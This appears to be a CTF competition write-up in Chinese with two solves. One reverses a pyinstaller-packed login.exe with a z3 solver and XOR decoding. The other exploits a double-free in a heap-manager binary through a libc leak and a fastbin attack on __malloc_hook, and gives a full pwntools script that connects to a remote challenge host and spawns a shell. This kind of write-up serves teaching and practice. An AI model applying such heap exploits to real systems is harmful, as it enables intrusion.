Re

login

下载附件是一个 pyinstaller 打包的 exe 文件。

反编译 exe

使用 pyinstxtractor.py 反编译:

python pyinstxtractor.py login.exe
或者用 Pyinstaller 中的 utilscliutilsarchive_viewer.py ,具体方法百度,略有不同

找到目录中同名无后缀文件,修改后缀为 .pyc ,接着再找到 struct 一并复制出来。用 winhex 将 login.pyc 文件还原回来,pyinstaller 会去除这部分信息(python 版本、时间戳)。将 struct 前 8 字节添加到 login.pyc 开头,struct 文件头信息与 login.pyc 编译前一致,直接复制懒得去找对应 python 版本的文件头。

在线网站反编译 pyc 文件得到源码。

逆加密算法

15 元 1 次方的方程,用 z3 库解决时,设置变量为 Int 型需要注释有 (a8 << 7) 这一条方程,否则因为变量类型问题无法运算。这时计算结果明显错误,需要添加约束,约束全部 a 都是 >= 0 的。这是能计算出正确结果,将得出值用被注释方程验证,方程成立,结果为真。

然后就是一个迭代的异或解密,前一轮解密结果参与下一轮解密:

from z3 import *
def step1():
    a1 = Int('a1')
    a2 = Int('a2')
    a3 = Int('a3')
    a4 = Int('a4')
    a5 = Int('a5')
    a6 = Int('a6')
    a7 = Int('a7')
    a8 = Int('a8')
    a9 = Int('a9')
    a10 = Int('a10')
    a11 = Int('a11')
    a12 = Int('a12')
    a13 = Int('a13')
    a14 = Int('a14')

    solver = Solver()

    solver.add((((a1 * 88 + a2 * 67 + a3 * 65 - a4 * 5) + a5 * 43 + a6 * 89 + a7 * 25 + a8 * 13 - a9 * 36) + a10 * 15 + a11 * 11 + a12 * 47 - a13 * 60) + a14 * 29 == 22748)
    solver.add((((a1 * 89 + a2 * 7 + a3 * 12 - a4 * 25) + a5 * 41 + a6 * 23 + a7 * 20 - a8 * 66) + a9 * 31 + a10 * 8 + a11 * 2 - a12 * 41 - a13 * 39) + a14 * 17 == 7258)
    solver.add((((a1 * 28 + a2 * 35 + a3 * 16 - a4 * 65) + a5 * 53 + a6 * 39 + a7 * 27 + a8 * 15 - a9 * 33) + a10 * 13 + a11 * 101 + a12 * 90 - a13 * 34) + a14 * 23 == 26190)
    # True
    # solver.add((((a1 * 23 + a2 * 34 + a3 * 35 - a4 * 59) + a5 * 49 + a6 * 81 + a7 * 25 + (a8 << 7) - a9 * 32) + a10 * 75 + a11 * 81 + a12 * 47 - a13 * 60) + a14 * 29 == 37136) 
    solver.add(((a1 * 38 + a2 * 97 + a3 * 35 - a4 * 52) + a5 * 42 + a6 * 79 + a7 * 90 + a8 * 23 - a9 * 36) + a10 * 57 + a11 * 81 + a12 * 42 - a13 * 62 - a14 * 11 == 27915) 
    solver.add((((a1 * 22 + a2 * 27 + a3 * 35 - a4 * 45) + a5 * 47 + a6 * 49 + a7 * 29 + a8 * 18 - a9 * 26) + a10 * 35 + a11 * 41 + a12 * 40 - a13 * 61) + a14 * 28 == 17298) 
    solver.add((((a1 * 12 + a2 * 45 + a3 * 35 - a4 * 9 - a5 * 42) + a6 * 86 + a7 * 23 + a8 * 85 - a9 * 47) + a10 * 34 + a11 * 76 + a12 * 43 - a13 * 44) + a14 * 65 == 19875) 
    solver.add(((a1 * 79 + a2 * 62 + a3 * 35 - a4 * 85) + a5 * 33 + a6 * 79 + a7 * 86 + a8 * 14 - a9 * 30) + a10 * 25 + a11 * 11 + a12 * 57 - a13 * 50 - a14 * 9 == 22784) 
    solver.add((((a1 * 8 + a2 * 6 + a3 * 64 - a4 * 85) + a5 * 73 + a6 * 29 + a7 * 2 + a8 * 23 - a9 * 36) + a10 * 5 + a11 * 2 + a12 * 47 - a13 * 64) + a14 * 27 == 9710) 
    solver.add(((((a1 * 67 - a2 * 68) + a3 * 68 - a4 * 51 - a5 * 43) + a6 * 81 + a7 * 22 - a8 * 12 - a9 * 38) + a10 * 75 + a11 * 41 + a12 * 27 - a13 * 52) + a14 * 31 == 13376) 
    solver.add((((a1 * 85 + a2 * 63 + a3 * 5 - a4 * 51) + a5 * 44 + a6 * 36 + a7 * 28 + a8 * 15 - a9 * 6) + a10 * 45 + a11 * 31 + a12 * 7 - a13 * 67) + a14 * 78 == 24065) 
    solver.add((((a1 * 47 + a2 * 64 + a3 * 66 - a4 * 5) + a5 * 43 + a6 * 112 + a7 * 25 + a8 * 13 - a9 * 35) + a10 * 95 + a11 * 21 + a12 * 43 - a13 * 61) + a14 * 20 == 27687) 
    solver.add(((a1 * 89 + a2 * 67 + a3 * 85 - a4 * 25) + a5 * 49 + a6 * 89 + a7 * 23 + a8 * 56 - a9 * 92) + a10 * 14 + a11 * 89 + a12 * 47 - a13 * 61 - a14 * 29 == 29250) 
    solver.add(((a1 * 95 + a2 * 34 + a3 * 62 - a4 * 9 - a5 * 43) + a6 * 83 + a7 * 25 + a8 * 12 - a9 * 36) + a10 * 16 + a11 * 51 + a12 * 47 - a13 * 60 - a14 * 24 == 15317)

    solver.add(a1 >= 0)
    solver.add(a2 >= 0)
    solver.add(a3 >= 0)
    solver.add(a4 >= 0)
    solver.add(a5 >= 0)
    solver.add(a6 >= 0)
    solver.add(a7 >= 0)
    solver.add(a8 >= 0)
    solver.add(a9 >= 0)
    solver.add(a10 >= 0)
    solver.add(a11 >= 0)
    solver.add(a12 >= 0)
    solver.add(a13 >= 0)
    solver.add(a14 >= 0)

    # solver.add(a1 < 127)
    # solver.add(a1 >= 32)
    # solver.add(a2 < 127)
    # solver.add(a2 >= 32)
    # solver.add(a3 < 127)
    # solver.add(a3 >= 32)
    # solver.add(a4 < 127)
    # solver.add(a4 >= 32)
    # solver.add(a5 < 127)
    # solver.add(a5>= 32)
    # solver.add(a6 < 127)
    # solver.add(a6 >= 32)
    # solver.add(a7 < 127)
    # solver.add(a7 >= 32)
    # solver.add(a8 < 127)
    # solver.add(a8 >= 32)
    # solver.add(a9 < 127)
    # solver.add(a9 >= 32)
    # solver.add(a10 < 127)
    # solver.add(a10 >= 32)
    # solver.add(a11 < 127)
    # solver.add(a11 >= 32)
    # solver.add(a12 < 127)
    # solver.add(a12 >= 32)
    # solver.add(a13 < 127)
    # solver.add(a13 >= 32)
    # solver.add(a14 < 127)
    # solver.add(a14 >= 32)


    if solver.check() == sat:
        print("solver")
        ans = solver.model()
        print(ans)
    else:
        print("no")
def step2():
    a1 = 119
    a2 = 24
    a3 = 10
    a4 = 7
    a5 = 104
    a6 = 43
    a7 = 28
    a8 = 91
    a9 = 52
    a10 = 108
    a11 = 88
    a12 = 74
    a13 = 88#121
    a14 = 33

    code = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13]

    code[0] = a3
    code[1] = a2
    code[2] = a1
    code[3] = a4
    code[4] = a5
    code[5] = a6
    code[6] = a7
    code[7] = a8
    code[9] = a9
    code[8] = a10
    code[10] = a11
    code[11] = a12
    code[12] = a13
    code[13] = a14

    flag = []
    flag.append(chr(code[13]))
    for i in list(range(13))[::-1]:
        code[i] = (code[i] ^ code[i + 1])
    # print(''.join(flag[::-1]))
    for i in code:
        print(chr(i),end='')




if __name__ == '__main__':
    # step1()
    step2()

flag

58964088b637e50d3a22b9510c1d1ef8

Pwn

sign_in

基本情况

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

程序是一个堆管理器,有增删查功能。

漏洞

释放堆时,没有将指针置零,也没有对堆管理结构体的 inuse 标志位进行检查再释放,造成了 double free 漏洞。

思路

  1. double free 泄露 unsorted bin 中 chunk 的 指针。
  2. fastbin attach 想 hook 函数写入 onegadget

一开始卡第一步泄露了,想着利用 double free 控制堆管理结构体的指针指向 unsorted bin 的 chunk ,指来指去搞不了。

最后泄露方法是申请一个比较大的 unsorted bin chunk ,释放后放入 bin 中。再申请一个大小合适的 chunk ,比如 unsorted bin 申请大小为 0x80 ,那么再申请一个大小为 0x50 chunk 加上结构体 0x20 ,申请的时候只写入最低一个字节,破坏一字节还是能算出 libc 地址。

0x80+0x10 = 0x50+0x10 + 0x20+0x10

pwndbg> x /20gx 0x555555757030
0x555555757030:    0x0000000000000000    0x0000000000000031
0x555555757040:    0x0000000000000001    0x0000555555757070
0x555555757050:    0x0000000000000062    0x0000000000000000
0x555555757060:    0x0000000000000000    0x0000000000000061
0x555555757070:    0x00007ffff7dd1b61    0x00007ffff7dd1b78
0x555555757080:    0x0000000000000000    0x0000000000000000
0x555555757090:    0x0000000000000000    0x0000000000000000
0x5555557570a0:    0x0000000000000000    0x0000000000000000
0x5555557570b0:    0x0000000000000000    0x0000000000000000
0x5555557570c0:    0x0000000000000060    0x0000000000000031

后面就是教科书的 fastbin attack 方式了,没有修改功能就在申请 chunk 的时候将 malloc - 0x23 写入,修改 fd 指针,并绕过 fastbin 检查。

EXP

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("./sign_in")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p=process('./sign_in')
p=remote('183.129.189.60',10029)
def add(size,name,msg):
    p.recvuntil('Your choice : ')
    p.sendline('1')
    p.recvuntil("game's name: \n")
    p.sendline(str(size))
    p.recvuntil("game's name:\n")
    p.send(str(name))
    p.recvuntil("game's message:\n")
    p.sendline(str(msg))
def show():
    p.recvuntil('Your choice : ')
    p.sendline('2')

def delete(id):
    p.recvuntil('Your choice : ')
    p.sendline('3')
    p.recvuntil("game's index:\n")
    p.sendline(str(id))

# leak unsorted bin fd
add(0x80,'a','b')#0
add(0x68,'a','b') #1
delete(0)
add(0x50,'a','b') #2
# gdb.attach(p)
show()
p.recvuntil("[2]'s name :")

leak_addr=u64(p.recv(6).ljust(8,'\x00'))
log.info("leak_addr:"+hex(leak_addr))
libcbase=leak_addr-0x3c4b61#0x7ffff7dd1b61-0x00007ffff7a0d000
malloc=libcbase+libc.symbols['__malloc_hook']
log.info("malloc:"+hex(malloc))
onegadget=libcbase+0xf1207# 0x4527a
log.info("onegadget:"+hex(onegadget))

# double free fastbin
add(0x68,'a','b') #3
delete(3)
delete(1)
delete(3)

# fastbin attack & bypass fastbin check
add(0x68,p64(malloc-0x23),'b')
add(0x68,'a','b') #3
add(0x68,'a','b') #3

# getshell
add(0x68,'skye'.ljust(0x13,'a')+p64(onegadget),'b')
p.recvuntil('Your choice : ')
p.sendline('1')

p.interactive()

flag

a48bv8fad44bca4d76765e4590fb351e
Last modification:September 12th, 2020 at 01:44 pm